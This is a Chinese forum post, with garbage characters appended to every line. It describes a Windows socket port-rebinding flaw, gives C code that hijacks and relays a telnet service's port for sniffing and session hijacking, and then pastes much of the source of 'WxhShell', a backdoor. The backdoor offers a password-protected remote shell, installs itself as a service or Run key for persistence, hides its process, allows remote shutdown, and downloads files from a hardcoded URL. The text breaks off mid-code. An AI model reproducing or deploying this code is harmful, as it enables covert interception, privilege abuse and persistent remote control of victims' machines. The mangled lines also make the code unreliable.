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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &tY3nr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vQrce&  
,4y' (DA  
  saddr.sin_family = AF_INET; N;,?k.vU  
97:1L4w.(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .0]4@'  
wUzQ`h2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Hj ]$  
PoMkFG6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ps0wN%tA  
Q,Tet&in )  
  这意味着什么?意味着可以进行如下的攻击: ]2G5ng' @  
<%eY>E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `B+%W  
w?CbATQ   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0P`wh=")  
`mPmEV<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jB }O6u[%  
0 eZfHW&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %VYQz)yW  
G)gf +)W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A(duUl~  
>yvP[$]!6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !mFo:nQ)}  
Rf@D]+v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;SQ<^"eK  
Wd4fIegk  
  #include *Yv"lB8  
  #include 2&91C[da0  
  #include R_h(Z{d  
  #include    E [JXQ76  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m1_?xU  
  int main() i} 96, {  
  { P8NKp O\  
  WORD wVersionRequested; Rde_I`Ru  
  DWORD ret; >4TJH lB}8  
  WSADATA wsaData; || ?B1  
  BOOL val; 5A1oZ+C#  
  SOCKADDR_IN saddr; / uI/8>p(  
  SOCKADDR_IN scaddr; oR}ir  
  int err; ulFU(%&  
  SOCKET s; o;Ijv\Em  
  SOCKET sc; eux _tyC  
  int caddsize; w?ssV  
  HANDLE mt; IV^LYu  
  DWORD tid;   XuJwZN!(  
  wVersionRequested = MAKEWORD( 2, 2 ); 5_Yv>tx  
  err = WSAStartup( wVersionRequested, &wsaData ); lEi,duS)  
  if ( err != 0 ) { oTtmn, T  
  printf("error!WSAStartup failed!\n"); mOwgk7s[ J  
  return -1; > 7!aZO  
  } s# w+^Mw$  
  saddr.sin_family = AF_INET; Qo  
   "M6a_rZ2W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FW7+!A&F  
EZ #UdK_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y0BvN`E  
  saddr.sin_port = htons(23); @RotJl/>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O;[PEV ~  
  { BEvSX|M>x  
  printf("error!socket failed!\n"); )DMu`cD  
  return -1; )ufHk  
  } DGY#pnCu  
  val = TRUE; yb/< 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $n `Zvl2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qpd-uC_Ni  
  { YN] w_=  
  printf("error!setsockopt failed!\n"); }7hpx!s,  
  return -1; ]SrKe-*:U  
  } [e)81yZG>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oSNB\G<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 80$P35Q"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d_J?i]AP|'  
iMx+y5O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y=X"YH|  
  { MSeO#X  
  ret=GetLastError(); )xQxc.  
  printf("error!bind failed!\n"); 0vG}c5;F  
  return -1; hM\QqZFyp  
  } Te'^O,C)y$  
  listen(s,2); qq-&z6;$  
  while(1) g|<)J-`Q  
  { =khjD[muC  
  caddsize = sizeof(scaddr); X2@mQ&n  
  //接受连接请求 \$;\,p p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =\4w" /Y  
  if(sc!=INVALID_SOCKET) 7g ]]>  
  { 7~\Dzcfk"P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NOyLZa'  
  if(mt==NULL) zq!2);,  
  { $Fz/&;KX!  
  printf("Thread Creat Failed!\n"); !Go(8`>  
  break; VK`_ Qc#B  
  } :EgdV  
  } CW\o>yh  
  CloseHandle(mt); OpxVy _5,  
  } yD1*^~loJ  
  closesocket(s); {\|? {8f  
  WSACleanup(); u-UUF  
  return 0; mk\U wv  
  }   i?=3RdP/R1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ibzYY"D:  
  { rShi"Yw  
  SOCKET ss = (SOCKET)lpParam; *(?YgV  
  SOCKET sc; C*Ws6s>+z  
  unsigned char buf[4096]; BT>*xZLpS  
  SOCKADDR_IN saddr;  p<*-B  
  long num; x(}tr27o  
  DWORD val; W\.f:"2qr  
  DWORD ret; /<:9NP'^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;x^&@G8W`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1bzPBi  
  saddr.sin_family = AF_INET; ;ok];4`a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jLr8?Hyf  
  saddr.sin_port = htons(23); 4L!{U@ '  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IUd>jHp`6  
  { |<y[gj4`T/  
  printf("error!socket failed!\n"); KH pxWq  
  return -1; KXw \N!  
  } W\eB   
  val = 100; w2{k0MW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uzp !Y&C  
  { F!]UaEmV  
  ret = GetLastError(); eg(xN/D  
  return -1; f~Kln^  
  } ! FHNKh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q<c).4  
  { [&NF0c[i  
  ret = GetLastError(); R$6Y\ *L[  
  return -1; }QJE9;<e  
  } =m}{g/Bk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AL|fL  
  { Fg#*rzA  
  printf("error!socket connect failed!\n"); 1MB  
  closesocket(sc); PtgUo,P  
  closesocket(ss); Ce5 }+A}  
  return -1; gFDP:I/`  
  } u85y;AE,(  
  while(1) *3"C"4S  
  { 9HTb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kjz,p^Y\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $ya#-pi`;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {g/\5Z\b  
  num = recv(ss,buf,4096,0); [*}[W6 3v  
  if(num>0) ;/oMH/,U8  
  send(sc,buf,num,0); )%^oR5W  
  else if(num==0) 4D58cR}  
  break; I*lq0&  
  num = recv(sc,buf,4096,0); boN)C?"^h  
  if(num>0) uaU!V4-  
  send(ss,buf,num,0); 7ZZSAI  
  else if(num==0) Y!POUMA }A  
  break; 1M 3U)U  
  } yvH:U5%  
  closesocket(ss); d=>5%$:v  
  closesocket(sc); <S\S @3  
  return 0 ; ).tZMLM/-  
  } TP^.]I O-  
W:5m8aE\  
vO0ql  
========================================================== _&F6As !{  
/o|@]SAe.  
下边附上一个代码,,WXhSHELL #mllVQ  
vjXvjv{t  
========================================================== ir]uFOj  
PFPfLxna  
#include "stdafx.h" 1Eg}qU,:  
8:t-I]dzk  
#include <stdio.h> a[(n91J0  
#include <string.h> .mok.f<G_m  
#include <windows.h> m%Ef]({I  
#include <winsock2.h> kN}.[enI~  
#include <winsvc.h> l>=c]  
#include <urlmon.h> R8],}6,;E}  
zb;' }l;+  
#pragma comment (lib, "Ws2_32.lib") 4&y_+  
#pragma comment (lib, "urlmon.lib") L\-T[w),z7  
q>Q|:g&:  
#define MAX_USER   100 // 最大客户端连接数 2iH ,U  
#define BUF_SOCK   200 // sock buffer .5 dZaI)  
#define KEY_BUFF   255 // 输入 buffer k*-+@U"+  
Hfc^<q4a.  
#define REBOOT     0   // 重启 {Or|] 0  
#define SHUTDOWN   1   // 关机 ,/d-o;W  
%< W1y  
#define DEF_PORT   5000 // 监听端口 ;^rZ"2U l  
8AefgjE  
#define REG_LEN     16   // 注册表键长度 ]AHUo;(f%  
#define SVC_LEN     80   // NT服务名长度 J|'T2g  
<c\aZ9+V  
// 从dll定义API B]Zsn`n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,#c-"x Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ 1J;SO|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n:#ji|wM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C&5T;=<jKO  
y!v$5wi  
// wxhshell配置信息 @{ nT4{  
struct WSCFG { +-.BF"}  
  int ws_port;         // 监听端口 1%-?e``.  
  char ws_passstr[REG_LEN]; // 口令 k"sL.}$  
  int ws_autoins;       // 安装标记, 1=yes 0=no (> 8fcQUBb  
  char ws_regname[REG_LEN]; // 注册表键名 tXp)o >"  
  char ws_svcname[REG_LEN]; // 服务名 2XI%4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SA/0Z=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +6;OB@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w1KQ9H*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aoJ&< vl3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {;-$;\D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RMvlA' c  
8wy"m=>=b}  
}; ]7VK&YfN  
u5,IH2BU  
// default Wxhshell configuration =Wjm_Rvk9  
struct WSCFG wscfg={DEF_PORT, >yWJk9h f  
    "xuhuanlingzhe", }F3Z~  
    1, :JN3@NsK  
    "Wxhshell", ~z aV.3#  
    "Wxhshell", ~P/G^cV3s  
            "WxhShell Service", L9kSeBt  
    "Wrsky Windows CmdShell Service", 6C3y+@9  
    "Please Input Your Password: ", #|e <l1F  
  1, F;_;lRAb  
  "http://www.wrsky.com/wxhshell.exe", 5o72X k  
  "Wxhshell.exe" >)5vsqGZaK  
    }; ;J5oO$H+68  
3; M!]9ms  
// 消息定义模块 3$kZu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =k8A7P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +L49 pv5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1/fvk  
char *msg_ws_ext="\n\rExit."; keWgbj  
char *msg_ws_end="\n\rQuit."; "Km`B1f`  
char *msg_ws_boot="\n\rReboot..."; CjST*(,b  
char *msg_ws_poff="\n\rShutdown..."; <y'ttxeS  
char *msg_ws_down="\n\rSave to "; Fj&vWj`*  
3{c&%F~!  
char *msg_ws_err="\n\rErr!"; *FAg^G&1  
char *msg_ws_ok="\n\rOK!"; ;{ezK8FJ}@  
HwGtLeB"  
char ExeFile[MAX_PATH]; s e1ipn_A  
int nUser = 0; _E "[%  
HANDLE handles[MAX_USER]; WkO .  
int OsIsNt; I3L1|!  
Q3KBG8  
SERVICE_STATUS       serviceStatus; stDn{x .  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s=d?}.E$  
j=gbUXv/  
// 函数声明 },"g*  
int Install(void); mb/3 #)  
int Uninstall(void); xz%ig^L  
int DownloadFile(char *sURL, SOCKET wsh); y>#j4%D~4  
int Boot(int flag); y~dW=zO  
void HideProc(void); r'!l` gm,S  
int GetOsVer(void); ECSC,oJ  
int Wxhshell(SOCKET wsl); K:Ap|F  
void TalkWithClient(void *cs); S2NsqHJr  
int CmdShell(SOCKET sock); bHMlh^{`%  
int StartFromService(void); 49#-\=<gt  
int StartWxhshell(LPSTR lpCmdLine); iKK=A.g  
P*LcWrK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dqkkA/1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |/s.PNP2  
8jZYy!  
// 数据结构和表定义 $wN.~"T  
SERVICE_TABLE_ENTRY DispatchTable[] = O]Hg4">f  
{ Iq5F^rH`[  
{wscfg.ws_svcname, NTServiceMain}, U-k;kmaj  
{NULL, NULL} UkYQ<MNO  
}; i3~!ofTb  
iIT<{m&`  
// 自我安装 p!691LI  
int Install(void) O3_Mrn(R  
{ L"Gi~:z  
  char svExeFile[MAX_PATH]; /qCYNwWH9  
  HKEY key; Po_9M4kU  
  strcpy(svExeFile,ExeFile); 4H,DG`[Mo  
z_H2 L"Z  
// 如果是win9x系统,修改注册表设为自启动 PU>;4l  
if(!OsIsNt) { FFkG,XH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jmb\eOq+~V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 63f/-64?7  
  RegCloseKey(key); 'L m `L<`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'epsD,.bX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z~BB|-kp1  
  RegCloseKey(key); w Vof_'F1  
  return 0; [X I5Bu ~  
    } Cse0!7_T  
  } ;z?XT \C$  
} 2iGRw4`_a  
else { p"JSYF 9]  
eS"gHldz  
// 如果是NT以上系统,安装为系统服务 01dx}L@hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V?"^Ff3m!  
if (schSCManager!=0) =UV?Pi*M>  
{ Zu$f[U)X  
  SC_HANDLE schService = CreateService )FP|}DCxQ  
  ( 0L1P'*LRU  
  schSCManager, .$yw;go3  
  wscfg.ws_svcname, Q\oUZnD$=  
  wscfg.ws_svcdisp, }}2 kA  
  SERVICE_ALL_ACCESS, 5A)w.i&V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GBQb({  
  SERVICE_AUTO_START, BOWTH{KR<<  
  SERVICE_ERROR_NORMAL, r:q#l~;^  
  svExeFile, 8iCI s=06  
  NULL, q5 A+%#  
  NULL, ELPJ}moWZ  
  NULL, RgO 7> T\  
  NULL, 2 9]8[Z,4  
  NULL 79V5{2Y*U  
  ); K c<z;  
  if (schService!=0) zm:=d>D..  
  { }.'%gJrS  
  CloseServiceHandle(schService); !vB%Q$!x  
  CloseServiceHandle(schSCManager); AWi87q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R',w~1RV'  
  strcat(svExeFile,wscfg.ws_svcname); rEf\|x=st:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =6dKC_Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xsvs3y|  
  RegCloseKey(key); @b/2'  
  return 0; WU4i-@Bm8  
    } sHuz10  
  } V588Leb?  
  CloseServiceHandle(schSCManager); b[k 1)R"  
} GlZ9k-ZRF  
} K8 Y/XEK  
5 QeGx3'  
return 1; @}Ixr{t  
} Lwcw%M]  
I5A^/=bf&  
// 自我卸载 10rGA=x'(  
int Uninstall(void) v;Dcq  
{ Z:hrrq9  
  HKEY key; hq*JQb;Y}  
:6/OU9f/R  
if(!OsIsNt) { #R8l"]fxr?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J*Hn/m  
  RegDeleteValue(key,wscfg.ws_regname); 5:d2q<x:{  
  RegCloseKey(key); 5{a( +'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v(h Xk]S  
  RegDeleteValue(key,wscfg.ws_regname);  =s]{  
  RegCloseKey(key); v6VhXV6$|  
  return 0; i6CYD  
  } Ak1)  
} Zz-;jkX)  
} \k=Qq(=  
else { O}-7 V5  
{|h"/   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mh|`XO.5I  
if (schSCManager!=0) w3N%J>4_E  
{ DRoxw24  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $te,\$&}  
  if (schService!=0) \i+h P1 mz  
  { ,m?D\Pru  
  if(DeleteService(schService)!=0) { [J`G`s!  
  CloseServiceHandle(schService); F"H!CJJu&  
  CloseServiceHandle(schSCManager); DG\YZV4  
  return 0; ])L'Rk#4  
  } -9I%   
  CloseServiceHandle(schService); \Sby(l  
  } gJxVU41  
  CloseServiceHandle(schSCManager); N)*e^Nfb  
} +-\9'Q  
} P` F'Nf2U  
;QQ7vo  
return 1; "V0:Lq  
} 7 !.8#A':  
d-sh6q5  
// 从指定url下载文件 BznA)EK?@  
int DownloadFile(char *sURL, SOCKET wsh) grdyiBSVn  
{ _ICDtG^  
  HRESULT hr; j~H`*R=ld#  
char seps[]= "/"; 4 .B*B3  
char *token; vx@p;1RU`  
char *file; [Be53U{=  
char myURL[MAX_PATH]; "T%'Rp`j|  
char myFILE[MAX_PATH]; xg^^@o  
@%nUfG7TQ  
strcpy(myURL,sURL); xJLO\B+gM  
  token=strtok(myURL,seps); ]~Vu-@ /}  
  while(token!=NULL) SWsv,  
  { >Ron+ oe  
    file=token; r)]CZ])  
  token=strtok(NULL,seps); |Du13i4].&  
  } &jZ|@K?  
Q3%# o+R>  
GetCurrentDirectory(MAX_PATH,myFILE); h;p%EZ  
strcat(myFILE, "\\"); |K;Txe_  
strcat(myFILE, file); !#:$u=  
  send(wsh,myFILE,strlen(myFILE),0);  RhNaYO  
send(wsh,"...",3,0); + 4g%?5'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @n X2*j*u  
  if(hr==S_OK) d.j'0w"   
return 0; F]A~~P  
else r&3o~!  
return 1; tW:/R@@  
N8YBu/  
} j~S!!Z ]  
KBRg95E~]l  
// 系统电源模块 ;3}EB cw)  
int Boot(int flag) H L|s pl(c  
{ eQVPxt2N  
  HANDLE hToken; d3G{0PX  
  TOKEN_PRIVILEGES tkp; "E|r3cN  
Ru^ ONw"  
  if(OsIsNt) { I/V )z9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zO5u{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $%%>n ^??  
    tkp.PrivilegeCount = 1; )g:,_1s)|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >_aio4j}r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "]s|D@^4#b  
if(flag==REBOOT) { {/A)t1nL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a!y,!EB+Qu  
  return 0; /D$+b9FR<  
} k?/vy9  
else { \*%i#]wO@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9X$#x90  
  return 0; uWB:"&!^  
} T E&Q6  
  } vMX6Bg8  
  else { dHq )vs,L  
if(flag==REBOOT) { ow+Dd[i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EdAR<VfleA  
  return 0; 3hXmYz(  
} b;J0'o^G|  
else { .)@tXH=}+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RQpIBsj  
  return 0; 2WPF{y%/  
} i$JG^6,O  
} a][pTC\rb  
.5!sOOs$P  
return 1; %-ZR~*  
} mbX)'. +L  
E/7vIg F  
// win9x进程隐藏模块 qbU1qF/  
void HideProc(void) j[/SXF\=  
{ ~nj bLUB  
qHR^0&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cl9SPz  
  if ( hKernel != NULL ) RZ|HwYG  
  { g{ v5mly  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `  -[Bo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zyZok*s  
    FreeLibrary(hKernel); "37@Zt  
  } 6A$_&?  
gR;8ht(pd(  
return; uspkn1-  
} +% XhQ  
Sj0 ucnuHi  
// 获取操作系统版本 <E[HlL  
int GetOsVer(void) f OM^V{)T  
{ f3zfRhkIk  
  OSVERSIONINFO winfo; c}IX"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tr+h$M1_Ja  
  GetVersionEx(&winfo); S!jF:Uc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &Mhv XHI  
  return 1; oEenm\ZI  
  else c?.r"5#  
  return 0; k=T-L  
} N75 3  
&e-#|p#v  
// 客户端句柄模块 Z6IJo%s  
int Wxhshell(SOCKET wsl) ]_ejDN\>{V  
{ cuQ7kECV  
  SOCKET wsh; 29a_ZU7e6  
  struct sockaddr_in client; hJw |@V  
  DWORD myID; <.r ]dCf  
abROFI5.L  
  while(nUser<MAX_USER) >'} Y1_S5  
{ [y|^P\D  
  int nSize=sizeof(client); T_@[k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p.rdSv(8'  
  if(wsh==INVALID_SOCKET) return 1; lh,ylh  
?iPZsV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /nC{)s?S'  
if(handles[nUser]==0) p}YI#f in/  
  closesocket(wsh); #Mj$o;SX  
else Rwc[:6;fn  
  nUser++; I&TTr7  
  } JrCf,?L^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yu`KzIU  
gp~yt0AU  
  return 0; k9}Q7)@  
} t] r,9df'  
T-a&e9B  
// 关闭 socket 'Q:i&dTg  
void CloseIt(SOCKET wsh) cWN d<=Jp  
{ MzEm*`<  
closesocket(wsh); HGO#e  
nUser--; _M8G3QOx  
ExitThread(0); :3KO6/+  
} ,f8}q]FTA  
/S:w&5e  
// 客户端请求句柄 MU_!&(X_  
void TalkWithClient(void *cs) S}oG.r 9  
{ 7?6xPKQ)H  
5h`m]#YEG  
  SOCKET wsh=(SOCKET)cs; NuC-qG#  
  char pwd[SVC_LEN]; rNxrQ  
  char cmd[KEY_BUFF]; K\RWC4  
char chr[1]; J+ Jt4  
int i,j; AMbKN2h1f  
`Y\gSUhzS  
  while (nUser < MAX_USER) { yGb a  
F&=I7i  
if(wscfg.ws_passstr) { ; cGv] A+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E2^ KK:4s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uc_jQ4e_  
  //ZeroMemory(pwd,KEY_BUFF); B#FHf Z  
      i=0; 9#v-2QY  
  while(i<SVC_LEN) { F>(qOH.I  
E rr4 %-  
  // 设置超时 YV5Yx-+3w$  
  fd_set FdRead; l6iw=b[?  
  struct timeval TimeOut; 8)L'rW{q#  
  FD_ZERO(&FdRead); EzR%w*F>Q  
  FD_SET(wsh,&FdRead); B$cOssl  
  TimeOut.tv_sec=8; 89hF )80  
  TimeOut.tv_usec=0; To3^L_v"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3>RcWy;1i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GwcI0~5  
fuq( 2&^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "6?lQw e  
  pwd=chr[0]; iaY5JEV:CA  
  if(chr[0]==0xd || chr[0]==0xa) { aXMv(e+  
  pwd=0; yC0C`oC  
  break; ZU=,f'bU  
  } r eGm>  
  i++; ^'m\D;  
    } *6:v}#b[  
^#]c0  
  // 如果是非法用户,关闭 socket ?nQ_w0j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _b>F#nD,'%  
} ):e+dt  
,Z^Ca15z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2zz,(RA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \I?w)CE@R  
9lKn% |=T  
while(1) { >xT^RYS  
}$l8d/_$[  
  ZeroMemory(cmd,KEY_BUFF); Ve)ClH/DW  
YPu9Q  
      // 自动支持客户端 telnet标准   TI}}1ScA'  
  j=0; {S G*  
  while(j<KEY_BUFF) { *D2Nm9sl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t5xb"F   
  cmd[j]=chr[0]; Rv98\VD"  
  if(chr[0]==0xa || chr[0]==0xd) { }*NF&PD5RU  
  cmd[j]=0; Y=r!2u6r~  
  break; *RBV'b  
  } (B@X[~  
  j++; )T9;6R$b  
    } Rq) 0i}F  
d^PD#&"g  
  // 下载文件 n|WfaJQZ  
  if(strstr(cmd,"http://")) { )B6# A0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K4 C ^m|e  
  if(DownloadFile(cmd,wsh)) C\7u<2c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~8TF*3[}[  
  else sI'a1$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D}-o+6TI?  
  } %;7.9%  
  else { ]Kv q |}=  
k}GjD2m  
    switch(cmd[0]) { Y,C=@t@_  
  ]fZ<`w8u}  
  // 帮助 /#f^n]v  
  case '?': { {3LA%xO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _pW_G1U  
    break; Av o|v>  
  } E!zX)|Z<  
  // 安装 yMb|I~k  
  case 'i': { 8!&nKy<Y  
    if(Install()) $xT1 1 ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D|l,08n"?  
    else r4u z} jl{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /be=u@KV  
    break; n#4Gv|{XMD  
    } I.1D*!tz  
  // 卸载 Y6A;AmM8  
  case 'r': { t0q_>T-kt  
    if(Uninstall()) +c--&tBo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iwU[6A  
    else =Q-k'=6\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); );Z]SGd  
    break; Ry?4h\UX5  
    }  ;\qXbL7  
  // 显示 wxhshell 所在路径 P>(P2~$Y"  
  case 'p': { *:g_'K"+  
    char svExeFile[MAX_PATH]; gyev5txn  
    strcpy(svExeFile,"\n\r"); Fi4UaJ3K  
      strcat(svExeFile,ExeFile); rFey4zzz  
        send(wsh,svExeFile,strlen(svExeFile),0); pLnB)z?  
    break; h./P\eDc  
    } wO7t!35  
  // 重启 4/'N|c.  
  case 'b': { XV>@B $hu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Xfn@>;3ui  
    if(Boot(REBOOT)) &+01+-1hW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9cG<hX9`F  
    else { ^]>aHz9  
    closesocket(wsh); %D`o  
    ExitThread(0); yS!(Ap  
    } )MSZ2)(  
    break; @E%DP9.I  
    } L[y Pjw:0  
  // 关机 )#C mQXgG  
  case 'd': { zT[6eZ8m  
